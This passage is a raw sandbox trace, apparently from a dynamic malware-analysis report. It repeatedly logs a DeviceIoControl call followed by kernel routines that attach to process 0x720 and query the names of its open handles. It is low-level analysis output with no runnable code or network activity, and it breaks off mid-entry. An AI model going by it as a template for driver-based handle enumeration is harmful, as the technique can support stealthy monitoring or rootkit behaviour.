PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.310] PsAcquireProcessExitSynchronization () returned 0x0 [0132.310] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.311] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.311] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.311] PsReleaseProcessExitSynchronization () returned 0x2 [0132.311] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.311] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.311] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.311] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.311] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.311] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0132.311] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.311] PsAcquireProcessExitSynchronization () returned 0x0 [0132.311] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.311] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0132.311] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.311] PsReleaseProcessExitSynchronization () returned 0x2 [0132.311] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.311] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.311] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0132.311] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.311] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.311] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0132.311] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.311] PsAcquireProcessExitSynchronization () returned 0x0 [0132.311] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.311] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0132.311] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.311] PsReleaseProcessExitSynchronization () returned 0x2 [0132.311] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.311] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.311] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0132.311] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.311] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.311] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0132.312] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.312] PsAcquireProcessExitSynchronization () returned 0x0 [0132.312] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.312] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0132.312] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.312] PsReleaseProcessExitSynchronization () returned 0x2 [0132.312] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.312] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.312] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0132.312] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.312] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.312] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0132.312] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.312] PsAcquireProcessExitSynchronization () returned 0x0 [0132.312] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.312] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0132.312] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.312] PsReleaseProcessExitSynchronization () returned 0x2 [0132.312] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.312] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.312] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0132.312] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.312] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.312] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0132.312] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.312] PsAcquireProcessExitSynchronization () returned 0x0 [0132.312] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.312] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0132.312] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.312] PsReleaseProcessExitSynchronization () returned 0x2 [0132.312] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.312] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.313] ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0132.313] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.313] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.313] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0132.313] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.313] PsAcquireProcessExitSynchronization () returned 0x0 [0132.313] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.313] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0132.313] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.313] PsReleaseProcessExitSynchronization () returned 0x2 [0132.313] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.313] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.313] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0132.313] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.313] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.313] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.313] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.313] PsAcquireProcessExitSynchronization () returned 0x0 [0132.313] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.313] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0132.313] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.313] PsReleaseProcessExitSynchronization () returned 0x2 [0132.313] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.313] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.313] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0132.313] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.313] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.313] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0132.314] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.314] PsAcquireProcessExitSynchronization () returned 0x0 [0132.314] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.314] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0132.314] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.314] PsReleaseProcessExitSynchronization () returned 0x2 [0132.314] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.314] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.314] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0132.314] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.314] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.314] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0132.314] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.314] PsAcquireProcessExitSynchronization () returned 0x0 [0132.314] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.314] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0132.314] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.314] PsReleaseProcessExitSynchronization () returned 0x2 [0132.314] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.314] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.314] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0132.314] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.314] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.314] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0132.314] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.314] PsAcquireProcessExitSynchronization () returned 0x0 [0132.314] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.314] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0132.314] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.314] PsReleaseProcessExitSynchronization () returned 0x2 [0132.315] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.315] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.315] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0132.315] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.315] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.315] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0132.315] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.315] PsAcquireProcessExitSynchronization () returned 0x0 [0132.315] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.315] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0132.315] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.315] PsReleaseProcessExitSynchronization () returned 0x2 [0132.315] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.315] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0132.315] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0132.315] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.315] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.315] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0132.315] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.315] PsAcquireProcessExitSynchronization () returned 0x0 [0132.315] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.315] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0132.315] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.315] PsReleaseProcessExitSynchronization () returned 0x2 [0132.315] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.315] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.315] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0132.315] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.315] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.315] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0132.316] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.316] PsAcquireProcessExitSynchronization () returned 0x0 [0132.316] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.316] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0132.316] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.316] PsReleaseProcessExitSynchronization () returned 0x2 [0132.316] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.316] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.316] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0132.316] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.316] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.316] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0132.316] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.316] PsAcquireProcessExitSynchronization () returned 0x0 [0132.316] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.316] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0132.316] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.316] PsReleaseProcessExitSynchronization () returned 0x2 [0132.316] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.316] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.316] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0132.316] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.316] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.316] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0132.316] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.316] PsAcquireProcessExitSynchronization () returned 0x0 [0132.316] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.316] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0132.316] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.316] PsReleaseProcessExitSynchronization () returned 0x2 [0132.316] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.316] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, 